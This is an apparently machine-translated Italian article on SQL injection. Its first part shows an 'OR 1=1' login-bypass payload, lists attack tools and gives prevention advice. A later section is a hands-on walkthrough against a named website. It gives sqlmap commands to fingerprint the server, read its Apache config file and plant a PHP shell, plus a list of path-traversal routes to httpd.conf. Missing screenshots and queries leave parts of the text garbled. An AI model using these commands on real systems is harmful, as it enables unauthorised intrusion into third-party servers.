Passaggio 1: entra [e-mail protetta] come indirizzo email;
Passaggio 2: immettere xxx’) OPPURE 1 = 1 - ] ;

Fa clic sul pulsante "Invia".

Verrà inviato al pannello di amministrazione. La query generata sarà simile alla seguente:

Lo schema seguente mostra come è stata generata la richiesta:

Qui:

  • La richiesta presuppone che venga utilizzata la crittografia MD5;
  • Vengono utilizzate una virgoletta singola e una parentesi di chiusura;
  • All'operatore viene aggiunta una condizione che sarà sempre vera.

In genere, gli aggressori tentano di utilizzare diversi metodi in un attacco SQL injection per raggiungere i propri obiettivi.

Altri tipi di attacchi SQL injection

Le SQL injection possono causare molti più danni rispetto all’accesso a un sistema aggirando il meccanismo di autorizzazione. Alcuni di questi attacchi possono:

  • Eseguire la cancellazione dei dati;
  • Eseguire l'aggiornamento dei dati;
  • Aggiungi dati;
  • Esegui comandi sul server che scaricheranno e installeranno programmi dannosi;
  • Esporta dati preziosi come dettagli della carta di credito, e-mail e password sul server remoto dell'aggressore.

L'elenco precedente non è completo. Dà semplicemente un’idea dei pericoli che comportano le iniezioni SQL.

Strumenti per automatizzare le iniezioni SQL

Nell'esempio sopra, abbiamo utilizzato metodi di attacco manuale. Prima di eseguire un'iniezione SQL, è necessario comprendere che esistono strumenti automatizzati che consentono di effettuare attacchi in modo più efficiente e rapido:

  • SQLSmack;
  • SQLPing 2 ;
  • SQLMap.

Come prevenire le SQL injection

Ecco alcune semplici regole per proteggersi dagli attacchi SQL injection:

L'input dell'utente non dovrebbe essere considerato attendibile. È sempre necessario disinfettarli prima che i dati vengano utilizzati nelle operazioni SQL dinamiche.

Procedura di archiviazione- Possono incapsulare query SQL ed elaborare tutti i dati di input come parametri.

Domande preparate- Le query vengono prima create, quindi tutti i dati utente forniti vengono elaborati come parametri. Ciò non influisce sulla sintassi dell'istruzione SQL.

Espressioni regolari- può essere utilizzato per rilevare codice potenzialmente dannoso e rimuoverlo prima di eseguire istruzioni SQL.

Diritti di accesso per connettersi al database- A proteggere dalle iniezioni SQL, agli account utilizzati per connettersi al database devono essere concessi solo i diritti di accesso necessari. Ciò consentirà di limitare le azioni che le istruzioni SQL possono eseguire sul server.

Messaggio di errore- non deve divulgare informazioni riservate. Semplici messaggi di errore personalizzati come " Siamo spiacenti, si è verificato un errore tecnico. Il team di supporto ne è già stato informato. Per favore riprova più tardi" può essere utilizzato invece di visualizzare le query SQL che hanno causato l'errore.

Spoiler: .ZEN

Abbiamo una SQL Injection sul sito che assomiglia a questa:

La prima cosa che vogliamo fare è verificare se disponiamo dei privilegi per scrivere file sulla risorsa attaccata, per fare ciò caricare il terminale ed eseguire il seguente comando:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Premiamo Invio e inizia l'analisi della nostra SQL Injection, il report si presenta così:

Come puoi vedere nel rapporto, sono scritte la versione di Apache, la versione di MySQL e la versione del sistema operativo installato sul server, tutto questo ci sarà utile in futuro, ma soprattutto puoi vedere che abbiamo i diritti per scrivere file, questo viene visualizzato nella riga L'utente corrente è DBA: True

Il prossimo passo per noi è ottenere i percorsi per registrare la nostra shell. Possiamo ottenere il percorso del nostro sito sul server scaricando il file httpd.conf. Otteniamo informazioni sulla posizione del file httpd.conf utilizzando Google che puoi cercare in base alla versione del sistema operativo installato o tramite l'elenco dei percorsi più probabili; In generale, non approfondirò la navigazione nei motori di ricerca, proprio quando hai scoperto la posizione più probabile del percorso del file, allora è il momento di scaricare lo stesso file sul tuo disco, per fare ciò inserisci quanto segue comando e richiesta di lettura del file sul server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Notiamo subito che non è sempre possibile trovare questo file di configurazione la prima volta, quindi puoi utilizzare i percorsi più probabili in cui potrebbe trovarsi questo file:

ELENCO DEI POSSIBILI PERCORSI AL FILE DI CONFIG:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Riceviamo un report da sqlmap nel seguente modulo:

Come puoi vedere, sqlmap ci ha detto che il file ha la stessa dimensione del file sul server, quindi abbiamo il diritto di leggere questo file. Se non ci fossero abbastanza diritti per leggere questo file, apparirebbe un errore che il file salvato sulla nostra macchina ha una dimensione diversa rispetto al file sul server, oppure non c'è nessun file sul server nel percorso che abbiamo specificato e non lo è mai stato stato. Sqlmap ha salvato il nostro file nei file di report e per leggerlo dobbiamo avviare il window manager. Per avviare il window manager, apriamo un'altra finestra di terminale e inseriamo il comando:

Successivamente, nel gestore che si apre, seguiamo il percorso in cui sqlmap ha aggiunto il file, ovvero:
/root/.sqlmap/output/sacoor.com
Successivamente, posiziona il cursore sul file, premi il pulsante F3 sulla tastiera e leggi il file di configurazione di Apache:

Dal nostro file di configurazione vediamo che il nostro sito si trova sul server al seguente percorso:
/home/sbshop/sito/

Ora che abbiamo un po' di informazioni possiamo provare a riempire la shell, per fare ciò inseriamo il seguente comando:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Dopo aver inserito il comando, sqlmap ci chiederà quale tipo di riempitivo vogliamo utilizzare, perché... nel nostro caso il sito è in PHP, quindi caricheremo PHP-loader, selezioneremo la voce 4 e premeremo Invio. Successivamente, sqlmap ci chiederà di scegliere dove caricare il nostro caricatore e poiché... Conosciamo già il percorso del nostro sito sul server, quindi selezioniamo la voce 2, premiamo Invio e indichiamo il percorso del sito:
/home/sbshop/sito/

Successivamente, premi Invio e visualizza il seguente rapporto:

In questo caso sqlmap ci dice che non abbiamo i diritti di scrittura su questa cartella. Nessun problema, questo problema è abbastanza facile da risolvere. Diamo il comando per avviare uniscan e verificare la scrivibilità di file e cartelle, ecco il comando.